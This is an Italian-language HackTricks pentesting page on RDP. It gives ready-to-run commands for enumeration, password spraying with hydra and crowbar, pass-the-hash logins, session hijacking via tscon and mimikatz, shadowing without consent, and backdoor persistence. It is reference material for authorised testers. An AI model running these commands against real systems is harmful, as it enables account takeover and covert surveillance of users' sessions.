3389 - Pentesting RDP
Tip
Impara e pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord, al gruppo telegram, segui @hacktricks_live su X/Twitter, oppure controlla la pagina LinkedIn e il canale YouTube.
- Condividi hacking tricks inviando PR ai repository github HackTricks e HackTricks Cloud.
Basic Information
Sviluppato da Microsoft, il Remote Desktop Protocol (RDP) è progettato per consentire una connessione con interfaccia grafica tra computer su una rete. Per stabilire tale connessione, l’utente utilizza un software client RDP e, contemporaneamente, il computer remoto deve eseguire un software server RDP. Questa configurazione permette il controllo e l’accesso senza soluzione di continuità all’ambiente desktop di un computer remoto, portando essenzialmente la sua interfaccia sul dispositivo locale dell’utente.
Default port: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Enumerazione
Automatico
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
Verifica la crittografia disponibile e la vulnerabilità DoS (senza causare DoS al servizio) e ottiene informazioni NTLM di Windows (versioni).
Livello di sicurezza / Verifiche NLA
RDP può negoziare diversi livelli di sicurezza (RDP nativo, TLS o CredSSP/NLA). Puoi rapidamente effettuare il fingerprint delle impostazioni lato server e verificare se NLA è richiesto:
# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>
# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>
# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot
# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot
Brute force
Fai attenzione, potresti bloccare degli account
Password Spraying
Fai attenzione, potresti bloccare degli account
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Connetti con credentials/hash noti
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Verificare credenziali note su servizi RDP
rdp_check.py di impacket ti permette di verificare se alcune credenziali sono valide per un servizio RDP:
rdp_check <domain>/<name>:<password>@<IP>
Attacchi
Session stealing
Con SYSTEM permissions puoi accedere a qualsiasi sessione RDP aperta di qualsiasi utente senza bisogno di conoscere la password del proprietario.
Ottieni sessioni aperte:
query user
Accesso alla sessione selezionata
tscon <ID> /dest:<SESSIONNAME>
Ora sarai all’interno della sessione RDP selezionata e dovrai impersonare un utente usando solo strumenti e funzionalità di Windows.
Importante: Quando accedi a una sessione RDP attiva disconnetterai l’utente che la stava utilizzando.
Potresti ottenere password effettuando il dump dei processi, ma questo metodo è molto più veloce e ti permette di interagire con i desktop virtuali dell’utente (password in notepad senza essere salvate su disco, altre sessioni RDP aperte su altre macchine…)
Mimikatz
Puoi anche usare mimikatz per fare questo:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
RDP Shadowing (Remote Control)
Se Remote Desktop Services shadowing è abilitato, puoi visualizzare o controllare la sessione attiva di un altro utente (a volte senza consenso) usando gli switch integrati di mstsc.
# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>
# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control
# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt
# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
RDP Virtual Channel Tunneling
RDP supporta le virtual channels che possono essere sfruttate per pivoting/tunneling su una sessione RDP già stabilita. Un’opzione è rdp2tcp (client/server) che può multiplexare TCP forwards su RDP (funziona con FreeRDP).
# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp
Sticky-keys & Utilman
Combinando questa tecnica con stickykeys o utilman sarai in grado di accedere a un CMD amministrativo e a qualsiasi sessione RDP in qualsiasi momento
Puoi cercare RDP che sono già stati backdoored con una di queste tecniche con: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
Se qualcuno proveniente da un dominio diverso o con better privileges login via RDP si connette al PC dove you are an Admin, puoi inject il tuo beacon nel suo RDP session process e agire come lui:
Aggiungere un utente al gruppo RDP
net localgroup "Remote Desktop Users" UserLoginName /add
Strumenti automatici
AutoRDPwn è un framework di post-exploitation creato in Powershell, progettato principalmente per automatizzare l’attacco Shadow sui computer Microsoft Windows. Questa vulnerabilità (indicata come una funzionalità da Microsoft) permette a un attaccante remoto di visualizzare il desktop della sua vittima senza il suo consenso, e perfino di controllarlo su richiesta, utilizzando strumenti nativi del sistema operativo stesso.
-
Controllare mouse e tastiera in modo automatico dalla riga di comando
-
Controllare il clipboard in modo automatico dalla riga di comando
-
Avviare uno SOCKS proxy dal client che instrada la comunicazione di rete verso il target tramite RDP
-
Eseguire comandi SHELL e PowerShell arbitrari sul target senza caricare file
-
Caricare e scaricare file dal/verso il target anche quando i trasferimenti di file sono disabilitati sul target
Questo strumento permette di eseguire comandi nella sessione RDP della vittima senza necessitare di un’interfaccia grafica.
HackTricks Automatic Commands
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Riferimenti
Tip
Impara e pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord, al gruppo telegram, segui @hacktricks_live su X/Twitter, oppure controlla la pagina LinkedIn e il canale YouTube.
- Condividi hacking tricks inviando PR ai repository github HackTricks e HackTricks Cloud.


